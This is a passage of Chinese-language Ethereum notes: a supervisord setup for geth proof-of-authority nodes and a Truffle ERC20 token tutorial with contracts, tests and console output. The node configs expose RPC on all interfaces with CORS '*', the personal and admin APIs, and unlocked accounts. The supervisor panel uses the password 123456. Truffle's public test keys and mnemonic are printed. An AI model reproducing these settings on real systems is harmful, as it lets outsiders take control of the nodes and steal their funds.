21 | port = 0.0.0.0:9009
22 | username = admin
23 | password = 123456
24 |
25 | [supervisord]
26 | logfile=/var/log/supervisor/supervisord.log ; (main log file;default $CWD/supervisord.log)
27 | pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
28 | childlogdir=/var/log/supervisor ; ('AUTO' child log dir, default $TEMP)
29 |
30 | ; the below section must remain in the config file for RPC
31 | ; (supervisorctl/web interface) to work, additional interfaces may be
32 | ; added by defining them in separate rpcinterface: sections
33 | [rpcinterface:supervisor]
34 | supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
35 |
36 | [supervisorctl]
37 | serverurl=unix:///var/run/supervisor.sock ; use a unix:// URL for a unix socket
38 |
39 | ; The [include] section can just contain the "files" setting. This
40 | ; setting can list multiple files (separated by whitespace or
41 | ; newlines). It can also contain wildcards. The filenames are
42 | ; interpreted as relative to this file. Included files *cannot*
43 | ; include files themselves.
44 |
45 | [include]
46 | files = /etc/supervisor/conf.d/*.ini
47 | ```
48 |
49 | - running
50 |
51 | ```bash
52 | # 验证Running 可以通过登录配置的网页 127.0.0.1:9009
53 | prod@ubuntu:~$ sudo supervisord -c /etc/supervisor/supervisord.conf
54 | ```
55 |
56 | # Supervisorctl
57 |
58 | - config
59 | 创建 touch /etc/supervisor/conf.d/bootnode.ini
60 | ```ini
61 | [program:bootnode]
62 | command= /home/prod/ethereum/geth-alltools/bootnode -nodekey /home/prod/ethereum/poa/nodes/bootnode/boot.key -addr :30310
63 | autorestart=true
64 | autostart=true
65 | stdout_logfile=/home/prod/ethereum/poa/log/bootnode.log
66 | redirect_stderr=true
67 | stopsignal=QUIT
68 | ```
69 |
70 | - update
71 | ```bash
72 | prod@ubuntu:~/ethereum/poa$ sudo supervisorctl update bootnode
73 | bootnode: added process group
74 |
75 | prod@ubuntu:~/ethereum/poa$ sudo supervisorctl status
76 | bootnode RUNNING pid 23898, uptime 0:00:09
77 | ```
78 |
79 | - add nodes
80 | ```ini
81 | [program:poanode1]
82 | command= /home/prod/ethereum/geth-alltools/geth --syncmode 'full' --rpc --rpcport "8541" --rpcaddr "0.0.0.0" --datadir /home/prod/ethereum/poa/nodes/node1 --port "30301" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" --networkid 1034 --unlock 0x5dab1b9d9da91d77c3b130785c1117507e252412 --password /home/prod/ethereum/poa/nodes/node1/password --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 --mine
83 | autorestart=true
84 | autostart=true
85 | stdout_logfile=/home/prod/ethereum/poa/log/node1.log
86 | redirect_stderr=true
87 | stopsignal=QUIT
88 |
89 | [program:poanode2]
90 | command= /home/prod/ethereum/geth-alltools/geth --syncmode 'full' --rpc --rpcport "8542" --rpcaddr "0.0.0.0" --datadir /home/prod/ethereum/poa/nodes/node2 --port "30302" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" --networkid 1034 --unlock 0xe1ace7e1a98ab69abdd45f58aa2ed0899f7fe236 --password /home/prod/ethereum/poa/nodes/node2/password --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 --mine
91 | autorestart=true
92 | autostart=true
93 | stdout_logfile=/home/prod/ethereum/poa/log/node2.log
94 | redirect_stderr=true
95 | stopsignal=QUIT
96 |
97 | [program:poanode3]
98 | command= /home/prod/ethereum/geth-alltools/geth --syncmode 'full' --rpc --rpcport "8543" --rpcaddr "0.0.0.0" --datadir /home/prod/ethereum/poa/nodes/node3 --port "30303" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner,clique" --networkid 1034 --unlock 0x2befa8094fd7117c1a518dfd795a4e44accfa245 --password /home/prod/ethereum/poa/nodes/node3/password --bootnodes enode://8ea516886bfaa84dae6fec94c6eb4d9babbe4a986a5d21e3e089b1ec6be1ad704281a9c6f51fd1bfaaa611de9228c37f9e945ffe3a49e6ffbc055e55d16373d6@127.0.0.1:30310 --mine
99 | autorestart=true
100 | autostart=true
101 | stdout_logfile=/home/prod/ethereum/poa/log/node3.log
102 | redirect_stderr=true
103 | stopsignal=QUIT
104 | ```
105 |
106 | ```bash
107 | # 重新加载, 对已经存在的 reread
108 | prod@ubuntu:~/ethereum/poa$ sudo supervisorctl reload
109 | ```
--------------------------------------------------------------------------------
/notes/truffle/README.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/truffle/README.md
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/README.md:
--------------------------------------------------------------------------------
1 | ## ERC20介绍
2 | [ERC-20 Token Standard](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md)
3 |
4 | ## 初始化
5 | 注意: 在windows下使用 `truffle.cmd`
6 | ```
7 | # 1. 创建 erc20-token 目录
8 | prod@ubuntu:~/solidity$ mkdir erc20-token
9 |
10 | # 2. 初始化目录
11 | prod@ubuntu:~/solidity/erc20-token$ truffle init
12 | Downloading...
13 | Unpacking...
14 | Setting up...
15 | Unbox successful. Sweet!
16 |
17 | Commands:
18 |
19 | Compile: truffle compile
20 | Migrate: truffle migrate
21 | Test contracts: truffle test
22 | # 3. 查看目录树
23 | prod@ubuntu:~/solidity/erc20-token$ tree
24 | .
25 | ├── contracts
26 | │ └── Migrations.sol
27 | ├── migrations
28 | │ └── 1_initial_migration.js
29 | ├── test
30 | ├── truffle-config.js
31 | └── truffle.js
32 |
33 | 3 directories, 4 files
34 | ```
35 |
36 | ## 智能合约创建
37 | ```
38 | # 4. 创建 ABCToken contract
39 | prod@ubuntu:~/solidity/erc20-token$ truffle create contract ABCToken
40 | # 5. 创建 ABCToken migration
41 | prod@ubuntu:~/solidity/erc20-token$ truffle create migration AbcToken
42 | # 6. 进行重命名migration, 按照顺序 1,2, 3 ... n
43 | prod@ubuntu:~/solidity/erc20-token$ mv migrations/1528368256_abc_token.js migrations/2_abc_token.js
44 | # 7. 创建测试用例
45 | prod@ubuntu:~/solidity/erc20-token$ truffle create test AbcToken
46 |
47 | # 查看创建的文件
48 | prod@ubuntu:~/solidity/erc20-token$ tree
49 | .
50 | ├── contracts
51 | │ ├── ABCToken.sol
52 | │ └── Migrations.sol
53 | ├── migrations
54 | │ ├── 1_initial_migration.js
55 | │ └── 2_abc_token.js
56 | ├── test
57 | │ └── abc_token.js
58 | ├── truffle-config.js
59 | └── truffle.js
60 |
61 | ```
62 |
63 | ## 智能合约编写
64 | [ABCToken.sol](./contracts/ABCToken.sol)
65 |
66 | ## 编译
67 |
68 | ```
69 | # 8. 编译
70 | prod@ubuntu:~/solidity/erc20-token$ truffle compile
71 | Compiling ./contracts/ABCToken.sol...
72 | Compiling ./contracts/Migrations.sol...
73 | Compiling ./contracts/utils/ERC20Token.sol...
74 | Compiling ./contracts/utils/SafeMath.sol...
75 | Writing artifacts to ./build/contracts
76 |
77 | ```
78 |
79 | ## 本地开发测试环境部署
80 | - 编辑migrations文件
81 | ```js
82 | var SafeMath = artifacts.require("./utils/SafeMath.sol");
83 | var ABCToken = artifacts.require("./ABCToken.sol");
84 |
85 | module.exports = function(deployer) {
86 | deployer.deploy(SafeMath);
87 | deployer.link(SafeMath, ABCToken);
88 | deployer.deploy(ABCToken, "AbcCoin", "ABC", 10000, 8);
89 | };
90 | ```
91 |
92 | - 进行开发环境
93 |
94 | ```bash
95 | # 进入develop环境
96 | prod@ubuntu:~/solidity/erc20-token$ truffle develop
97 | Truffle Develop started at http://127.0.0.1:9545/
98 |
99 | Accounts:
100 | (0) 0x627306090abab3a6e1400e9345bc60c78a8bef57
101 | (1) 0xf17f52151ebef6c7334fad080c5704d77216b732
102 | (2) 0xc5fdf4076b8f3a5357c5e395ab970b5b54098fef
103 | (3) 0x821aea9a577a9b44299b9c15c88cf3087f3b5544
104 | (4) 0x0d1d4e623d10f9fba5db95830f7d3839406c6af2
105 | (5) 0x2932b7a2355d6fecc4b5c0b6bd44cc31df247a2e
106 | (6) 0x2191ef87e392377ec08e7c08eb105ef5448eced5
107 | (7) 0x0f4f2ac550a1b4e2280d04c21cea7ebd822934b5
108 | (8) 0x6330a553fc93768f612722bb8c2ec78ac90b3bbc
109 | (9) 0x5aeda56215b167893e80b4fe645ba6d5bab767de
110 |
111 | Private Keys:
112 | (0) c87509a1c067bbde78beb793e6fa76530b6382a4c0241e5e4a9ec0a0f44dc0d3
113 | (1) ae6ae8e5ccbfb04590405997ee2d52d2b330726137b875053c36d94e974d162f
114 | (2) 0dbbe8e4ae425a6d2687f1a7e3ba17bc98c673636790f1b8ad91193c05875ef1
115 | (3) c88b703fb08cbea894b6aeff5a544fb92e78a18e19814cd85da83b71f772aa6c
116 | (4) 388c684f0ba1ef5017716adb5d21a053ea8e90277d0868337519f97bede61418
117 | (5) 659cbb0e2411a44db63778987b1e22153c086a95eb6b18bdf89de078917abc63
118 | (6) 82d052c865f5763aad42add438569276c00d3d88a2d062d36b2bae914d58b8c8
119 | (7) aa3680d5d48a8283413f7a108367c7299ca73f553735860a87b08f39395618b7
120 | (8) 0f62d96d6675f32685bbdb8ac13cda7c23436f63efbb9d07700d8669ff12b7c4
121 | (9) 8d5366123cb560bb606379f90a0bfd4769eecc0557f1b362dcae9012b548b1e5
122 |
123 | Mnemonic: candy maple cake sugar pudding cream honey rich smooth crumble sweet treat
124 |
125 | ⚠️ Important ⚠️ : This mnemonic was created for you by Truffle. It is not secure.
126 | Ensure you do not use it on production blockchains, or else you risk losing funds.
127 |
128 | # 部署合约, 采用migrate -f 指定migration文件
129 | truffle(develop)> migrate -f 2
130 | Using network 'develop'.
131 |
132 | Running migration: 2_abc_token.js
133 | Deploying SafeMath...
134 | ... 0x751687331e5f86a1afe097d7038815b1406e763c58c2d4c89d028dd580e5f603
135 | SafeMath: 0x8cdaf0cd259887258bc13a92c0a6da92698644c0
136 | Deploying ABCToken...
137 | ... 0x7e3c6add244aa2786d554fb1f16ddd197398b4c62bf088712e43709fe65547c7
138 | ABCToken: 0xf12b5dd4ead5f743c6baa640b0216200e89b60da
139 | Saving artifacts...
140 |
141 | # 查看合约地址
142 | truffle(develop)> ABCToken.deployed().then(instance => instance.address);
143 | '0xf12b5dd4ead5f743c6baa640b0216200e89b60da'
144 | # 查看合约name
145 | truffle(develop)> ABCToken.deployed().then(instance => instance.name());
146 | 'AbcCoin'
147 | # 查看合约symbol
148 | truffle(develop)> ABCToken.deployed().then(instance => instance.symbol());
149 | 'ABC'
150 | # 查看发行量
151 | truffle(develop)> ABCToken.deployed().then(instance => instance.totalSupply());
152 | BigNumber { s: 1, e: 12, c: [ 1000000000000 ] }
153 |
154 | ```
155 |
156 | ## 测试用例
157 | 编写test
158 |
159 | ```javascript
160 | const ABCToken = artifacts.require("ABCToken");
161 |
162 | contract('ABCToken', function(accounts) {
163 | let owner = accounts[0];
164 | let wallet1 = accounts[1];
165 | let wallet2 = accounts[2];
166 | let TestInstance = null;
167 |
168 | beforeEach('setup contract for each test', async() => {
169 | TestInstance = await ABCToken.new("AbcCoin","ABC", 10000, 8);
170 | })
171 |
172 | it('1) 检测初始化参数', async() => {
173 | assert.equal(await TestInstance.name(),"AbcCoin");
174 | assert.equal(await TestInstance.symbol(), "ABC");
175 | assert.equal(await TestInstance.totalSupply(), 10 ** 12);
176 | assert.equal(await TestInstance.owner(), owner);
177 | })
178 |
179 | it('2) 钱包转账测试', async() => {
180 | let balance1 = await TestInstance.balanceOf.call(owner)
181 | assert.equal(balance1.toNumber(), 10 ** 12);
182 |
183 | await TestInstance.transfer(wallet1, 1.2 * 10**8);
184 |
185 | let balance2 = await TestInstance.balanceOf(owner);
186 | assert.equal(balance2.toNumber(), 10 ** 12 - 1.2 * 10**8);
187 |
188 | let balance3 = await TestInstance.balanceOf(wallet1);
189 | assert.equal(balance3.toNumber(), 1.2 * 10**8);
190 | })
191 |
192 | it('3) 代币铸造权限检测', async() => {
193 |
194 | try{
195 | await TestInstance.mint(wallet1, 0.3 * 10**8, {from: wallet2});
196 | }catch(error){
197 | const revertFound = error.message.search('revert') >= 0;
198 | assert(revertFound, `Expected "revert", got ${error} instead`);
199 | }
200 | let balance1 = await TestInstance.balanceOf(wallet1);
201 | assert.equal(balance1.toNumber(), 0);
202 | })
203 |
204 | it('4) 代币铸造测试', async() => {
205 |
206 | try{
207 | await TestInstance.mint(wallet1, 0.3 * 10**8);
208 | }catch(error){
209 | const revertFound = error.message.search('revert') >= 0;
210 | assert(revertFound, `Expected "revert", got ${error} instead`);
211 | }
212 | let balance1 = await TestInstance.balanceOf(wallet1);
213 | assert.equal(balance1.toNumber(), 3 * 10**7);
214 |
215 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 + 0.3 * 10 ** 8);
216 | })
217 |
218 | it('5) 代币销毁权限检测', async() => {
219 | await TestInstance.transfer(wallet1, 5 * 10**8);
220 | try{
221 | await TestInstance.burn(wallet1, 2 * 10**8, {from: wallet2});
222 | }catch(error){
223 | const revertFound = error.message.search('revert') >= 0;
224 | assert(revertFound, `Expected "revert", got ${error} instead`);
225 | }
226 | let balance1 = await TestInstance.balanceOf(wallet1);
227 | assert.equal(balance1.toNumber(), 5 * 10 ** 8);
228 | })
229 |
230 | it('6) 代币销毁测试', async() => {
231 | await TestInstance.transfer(wallet1, 5 * 10**8);
232 | try{
233 | await TestInstance.burn(wallet1, 2 * 10**8);
234 | }catch(error){
235 | const revertFound = error.message.search('revert') >= 0;
236 | assert(revertFound, `Expected "revert", got ${error} instead`);
237 | }
238 | let balance1 = await TestInstance.balanceOf(wallet1);
239 | assert.equal(balance1.toNumber(), 3 * 10**8);
240 |
241 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 - 2 * 10 ** 8);
242 | })
243 | });
244 |
245 | ```
246 |
247 |
248 | ```
249 | # 9. 运行测试用例
250 | prod@ubuntu:~/solidity/erc20-token$ truffle test
251 | Using network 'test'.
252 |
253 |
254 |
255 | Contract: ABCToken
256 | ✓ 1) 检测初始化参数 (75ms)
257 | ✓ 2) 钱包转账测试 (68ms)
258 | ✓ 3) 代币铸造权限检测
259 | ✓ 4) 代币铸造测试 (49ms)
260 | ✓ 5) 代币销毁权限检测 (54ms)
261 | ✓ 6) 代币销毁测试 (72ms)
262 |
263 |
264 | 6 passing (689ms)
265 |
266 | prod@ubuntu:~/solidity/erc20-token$
267 |
268 | ```
269 |
270 | ## 部署生成环境
271 | ### 节点环境
272 | - 运行geth
273 | ```bash
274 | geth --identity "chain" --ethash.dagsinmem 0 --rpc --rpcport "8541" --rpcaddr "0.0.0.0" --datadir node1/data --port "30301" --rpccorsdomain "*" --rpcapi "personal,db,eth,net,web3,admin,txpool,miner" --networkid 1024 --nodiscover
275 | ```
276 |
277 | - geth 进入 console
278 |
279 | ```bash
280 | prod@ubuntu:~/ethereum/nodes$ geth attach node1/data/geth.ipc
281 | Welcome to the Geth JavaScript console!
282 |
283 | instance: Geth/chain/v1.8.9-stable-ff9b1461/linux-amd64/go1.10.1
284 | coinbase: 0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232
285 | at block: 369 (Wed, 30 May 2018 16:39:14 CST)
286 | datadir: /home/prod/ethereum/nodes/node1/data
287 | modules: admin:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0
288 |
289 | # 开始挖矿记账
290 | > miner.start()
291 |
292 | # 获取部署合约的 coinbase 钱包地址
293 | > eth.coinbase
294 | "0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232"
295 |
296 | ```
297 |
298 |
299 | ### 项目配置
300 | - 编辑truffle.js
301 | ```js
302 | module.exports = {
303 | // See
304 | // to customize your Truffle configuration!
305 | solc: {
306 | optimizer: {
307 | enabled: true,
308 | }
309 | },
310 | networks: {
311 | prodwork: {
312 | host: "127.0.0.1",
313 | port: 8541,
314 | network_id: "*",
315 | address: "0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232",
316 | gasPrice: 18000000000, // eth.gasPrice
317 | gas: 0x47b760, // 取 genesis.json 中的 GasLimit ,保证此次transaction gas
318 | }
319 | }
320 | };
321 | ```
322 |
323 | ### 部署
324 | - 在geth console 端 unlock coinbase 钱包地址
325 | ```
326 | # 解锁 1000 s
327 | > personal.unlockAccount(eth.coinbase, null, 1000)
328 | Unlock account 0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232
329 | Passphrase:
330 | true
331 | >
332 | ```
333 | - 切换到项目根目录
334 | ```
335 | # migrate 到 prodwork 网络
336 | prod@ubuntu:~/solidity/erc20-token$ truffle migrate -f 2 --network prodwork
337 | Using network 'prodwork'.
338 |
339 | Running migration: 2_abc_token.js
340 | Deploying SafeMath...
341 | ... 0xdae2d4c89c2e9524a9e4f7326fb12acd7d3888e1b32894a844a39959cfdca5c8
342 | SafeMath: 0x5e8309efcaff694bd1f43a8651a2a34378eae48a
343 | Deploying ABCToken...
344 | ... 0xe3960f2ec083b0cb5d0987af4b28477894352577d166a39bacaca879a1976e57
345 | ABCToken: 0x580a0c67940008a8f6773a3a9c991eec9712b6d2
346 | Saving artifacts...
347 |
348 | # 查看部署地址
349 | prod@ubuntu:~/solidity/erc20-token$ truffle console --network prodwork
350 | truffle(prodwork)> ABCToken.deployed().then(instance => instance.address);
351 | '0x580a0c67940008a8f6773a3a9c991eec9712b6d2'
352 | truffle(prodwork)>
353 |
354 | ```
355 |
356 | - python web3测试
357 | pip3 install eth_utils web3 ipython
358 |
359 | ```python
360 | prod@ubuntu:~/solidity/erc20-token$ ipython3
361 | Python 3.5.2 (default, Nov 23 2017, 16:37:01)
362 | Type 'copyright', 'credits' or 'license' for more information
363 | IPython 6.4.0 -- An enhanced Interactive Python. Type '?' for help.
364 |
365 | In [1]: from web3 import Web3, HTTPProvider
366 |
367 | In [2]: from eth_utils import to_checksum_address
368 |
369 | In [3]: import json
370 |
371 | In [4]: address = to_checksum_address("0x580a0c67940008a8f6773a3a9c991eec9712b6d2")
372 |
373 | In [5]: abi = json.loads(open("./build/contracts/ABCToken.json").read())["abi"]
374 |
375 | In [6]: w3 = Web3(HTTPProvider("http://127.0.0.1:8541"))
376 |
377 | In [7]: contract = w3.eth.contract(abi=abi, address=address)
378 |
379 | In [8]: contract.functions.totalSupply().call()
380 | Out[8]: 1000000000000
381 |
382 | In [9]: contract.functions.name().call()
383 | Out[9]: 'AbcCoin'
384 |
385 | In [10]: contract.functions.symbol().call()
386 | Out[10]: 'ABC'
387 |
388 | ```
389 | - 更多交易代码
390 | 通过Keystore进行发起交易参考 [web3py_contract_transaction](https://github.com/zhuquanbin/ethereum-bip44/blob/master/eth_bip44/__init__.py#L175)
391 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/contracts/ABCToken.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 | import "./utils/SafeMath.sol";
4 | import "./utils/ERC20Token.sol";
5 |
6 | // 代币支付的以太坊智能服务 https://ethfans.org/posts/ethereum-smart-service-payment-with-tokens
7 |
8 | contract ABCToken is ERC20Token{
9 | using SafeMath for uint256;
10 |
11 | event Mint(address indexed to, uint256 amount);
12 | event MintFinished();
13 | event Burn(address indexed burner, uint256 value);
14 |
15 | bool public mintingFinished = false;
16 |
17 | modifier onlyOwner() {
18 | require(msg.sender == owner);
19 | _;
20 | }
21 |
22 | modifier canMint() {
23 | require(!mintingFinished);
24 | _;
25 | }
26 |
27 | constructor(string _name, string _symbol, uint256 _supply, uint8 _decimails)
28 | ERC20Token(_name, _symbol, _supply, _decimails) public {
29 | }
30 |
31 | /**
32 | * @dev Function to mint tokens
33 | * @param _to The address that will receive the minted tokens.
34 | * @param _amount The amount of tokens to mint.
35 | * @return A boolean that indicates if the operation was successful.
36 | */
37 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
38 | // uint256 amount_wei = _amount.mul(uint256(10) ** decimals_);
39 | totalSupply_ = totalSupply_.add(_amount);
40 | balances[_to] = balances[_to].add(_amount);
41 | emit Mint(_to, _amount);
42 | emit Transfer(address(0), _to, _amount);
43 | return true;
44 | }
45 |
46 | /**
47 | * @dev Function to stop minting new tokens.
48 | * @return True if the operation was successful.
49 | */
50 | function finishMinting() onlyOwner canMint public returns (bool) {
51 | mintingFinished = true;
52 | emit MintFinished();
53 | return true;
54 | }
55 |
56 | /**
57 | * @dev Burns a specific amount of tokens.
58 | * @param _value The amount of token to be burned.
59 | */
60 | function burn(address _who, uint256 _value) onlyOwner public returns (bool) {
61 | require(_value <= balances[_who]);
62 | // no need to require value <= totalSupply, since that would imply the
63 | // sender's balance is greater than the totalSupply, which *should* be an assertion failure
64 |
65 | balances[_who] = balances[_who].sub(_value);
66 | totalSupply_ = totalSupply_.sub(_value);
67 |
68 | emit Burn(_who, _value);
69 | emit Transfer(_who, address(0), _value);
70 | return true;
71 | }
72 |
73 | /**
74 | * @dev Don't accept ETH
75 | */
76 | function () public payable {
77 | revert();
78 | }
79 |
80 | }
81 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/contracts/Migrations.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 | contract Migrations {
4 | address public owner;
5 | uint public last_completed_migration;
6 |
7 | constructor() public {
8 | owner = msg.sender;
9 | }
10 |
11 | modifier restricted() {
12 | if (msg.sender == owner) _;
13 | }
14 |
15 | function setCompleted(uint completed) public restricted {
16 | last_completed_migration = completed;
17 | }
18 |
19 | function upgrade(address new_address) public restricted {
20 | Migrations upgraded = Migrations(new_address);
21 | upgraded.setCompleted(last_completed_migration);
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/contracts/utils/ERC20Token.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 | import "./SafeMath.sol";
4 |
5 | /**
6 | * @title ERC20Basic
7 | * @dev Simpler version of ERC20
8 | */
9 | contract ERC20Token {
10 | using SafeMath for uint256;
11 |
12 | string public name;
13 | string public symbol;
14 | address public owner;
15 | uint8 public decimals;
16 |
17 | uint256 totalSupply_;
18 | mapping (address => uint256) balances;
19 | mapping (address => mapping (address => uint256)) internal allowed;
20 |
21 | event Transfer(address indexed from, address indexed to, uint256 value);
22 | event Approval(address indexed owner, address indexed spender, uint256 value);
23 |
24 | /**
25 | * @dev Fix for the ERC20 short address attack.
26 | * Remove short address attack checks from tokens(https://github.com/OpenZeppelin/openzeppelin-solidity/issues/261)
27 | */
28 | modifier onlyPayloadSize(uint256 size) {
29 | require(msg.data.length >= size + 4);
30 | _;
31 | }
32 |
33 | constructor(string _name, string _symbol, uint256 _supply, uint8 _decimals) public {
34 | owner = msg.sender;
35 | name = _name;
36 | symbol = _symbol;
37 | decimals = _decimals;
38 | totalSupply_ = _supply.mul(uint256(10) ** _decimals);
39 | balances[owner] = totalSupply_;
40 | }
41 |
42 | /**
43 | * @dev total number of tokens in existence
44 | */
45 | function totalSupply() public view returns (uint256) {
46 | return totalSupply_;
47 | }
48 |
49 | /**
50 | * @dev Gets the balance of the specified address.
51 | * @param _owner The address to query the the balance of.
52 | * @return An uint256 representing the amount owned by the passed address.
53 | */
54 | function balanceOf(address _owner) public view returns (uint256) {
55 | return balances[_owner];
56 | }
57 |
58 | /**
59 | * @dev transfer token for a specified address
60 | * @param _to The address to transfer to.
61 | * @param _value The amount to be transferred.
62 | */
63 | function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
64 | require(_to != address(0));
65 | require(_value <= balances[msg.sender]);
66 |
67 | balances[msg.sender] = balances[msg.sender].sub(_value);
68 | balances[_to] = balances[_to].add(_value);
69 | emit Transfer(msg.sender, _to, _value);
70 | return true;
71 | }
72 |
73 |
74 |
75 | /**
76 | * @dev Transfer tokens from one address to another
77 | * @param _from address The address which you want to send tokens from
78 | * @param _to address The address which you want to transfer to
79 | * @param _value uint256 the amount of tokens to be transferred
80 | */
81 | function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) {
82 | require(_to != address(0));
83 | require(_value <= balances[_from]);
84 | require(_value <= allowed[_from][msg.sender]);
85 |
86 | balances[_from] = balances[_from].sub(_value);
87 | balances[_to] = balances[_to].add(_value);
88 | allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
89 | emit Transfer(_from, _to, _value);
90 | return true;
91 | }
92 |
93 | /**
94 | * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
95 | *
96 | * Beware that changing an allowance with this method brings the risk that someone may use both the old
97 | * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
98 | * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
99 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
100 | * @param _spender The address which will spend the funds.
101 | * @param _value The amount of tokens to be spent.
102 | */
103 | function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
104 | allowed[msg.sender][_spender] = _value;
105 | emit Approval(msg.sender, _spender, _value);
106 | return true;
107 | }
108 |
109 | /**
110 | * @dev Function to check the amount of tokens that an owner allowed to a spender.
111 | * @param _owner address The address which owns the funds.
112 | * @param _spender address The address which will spend the funds.
113 | * @return A uint256 specifying the amount of tokens still available for the spender.
114 | */
115 | function allowance(address _owner, address _spender) public view returns (uint256) {
116 | return allowed[_owner][_spender];
117 | }
118 |
119 | /**
120 | * @dev Increase the amount of tokens that an owner allowed to a spender.
121 | * @param _spender The address which will spend the funds.
122 | * @param _addedValue The amount of tokens to increase the allowance by.
123 | */
124 | function increaseApproval(address _spender, uint _addedValue) public returns (bool){
125 | allowed[msg.sender][_spender] = (
126 | allowed[msg.sender][_spender].add(_addedValue));
127 | emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
128 | return true;
129 | }
130 |
131 | /**
132 | * @dev Decrease the amount of tokens that an owner allowed to a spender.
133 | * @param _spender The address which will spend the funds.
134 | * @param _subtractedValue The amount of tokens to decrease the allowance by.
135 | */
136 | function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
137 | uint oldValue = allowed[msg.sender][_spender];
138 | if (_subtractedValue > oldValue) {
139 | allowed[msg.sender][_spender] = 0;
140 | } else {
141 | allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
142 | }
143 | emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
144 | return true;
145 | }
146 |
147 | }
148 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/contracts/utils/SafeMath.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.4.23;
2 |
3 | /**
4 | * @title SafeMath
5 | * @dev Math operations with safety checks that throw on error
6 | */
7 | library SafeMath {
8 |
9 | /**
10 | * @dev Multiplies two numbers, throws on overflow.
11 | */
12 | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
13 | if (a == 0) {
14 | return 0;
15 | }
16 | c = a * b;
17 | assert(c / a == b);
18 | return c;
19 | }
20 |
21 | /**
22 | * @dev Integer division of two numbers, truncating the quotient.
23 | */
24 | function div(uint256 a, uint256 b) internal pure returns (uint256) {
25 | // assert(b > 0); // Solidity automatically throws when dividing by 0
26 | // uint256 c = a / b;
27 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold
28 | return a / b;
29 | }
30 |
31 | /**
32 | * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
33 | */
34 | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
35 | assert(b <= a);
36 | return a - b;
37 | }
38 |
39 | /**
40 | * @dev Adds two numbers, throws on overflow.
41 | */
42 | function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
43 | c = a + b;
44 | assert(c >= a);
45 | return c;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/migrations/1_initial_migration.js:
--------------------------------------------------------------------------------
1 | var Migrations = artifacts.require("./Migrations.sol");
2 |
3 | module.exports = function(deployer) {
4 | deployer.deploy(Migrations);
5 | };
6 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/migrations/2_abc_token.js:
--------------------------------------------------------------------------------
1 | var SafeMath = artifacts.require("./utils/SafeMath.sol");
2 | var ABCToken = artifacts.require("./ABCToken.sol");
3 |
4 | module.exports = function(deployer) {
5 | deployer.deploy(SafeMath);
6 | deployer.link(SafeMath, ABCToken);
7 | deployer.deploy(ABCToken, "AbcCoin", "ABC", 10000, 8);
8 | };
9 |
--------------------------------------------------------------------------------
/notes/truffle/erc20-token/test/abc_token.js:
--------------------------------------------------------------------------------
1 | const ABCToken = artifacts.require("ABCToken");
2 |
3 | contract('ABCToken', function(accounts) {
4 | let owner = accounts[0];
5 | let wallet1 = accounts[1];
6 | let wallet2 = accounts[2];
7 | let TestInstance = null;
8 |
9 | beforeEach('setup contract for each test', async() => {
10 | TestInstance = await ABCToken.new("AbcCoin","ABC", 10000, 8);
11 | })
12 |
13 | it('1) 检测初始化参数', async() => {
14 | assert.equal(await TestInstance.name(),"AbcCoin");
15 | assert.equal(await TestInstance.symbol(), "ABC");
16 | assert.equal(await TestInstance.totalSupply(), 10 ** 12);
17 | assert.equal(await TestInstance.owner(), owner);
18 | })
19 |
20 | it('2) 钱包转账测试', async() => {
21 | let balance1 = await TestInstance.balanceOf.call(owner)
22 | assert.equal(balance1.toNumber(), 10 ** 12);
23 |
24 | await TestInstance.transfer(wallet1, 1.2 * 10**8);
25 |
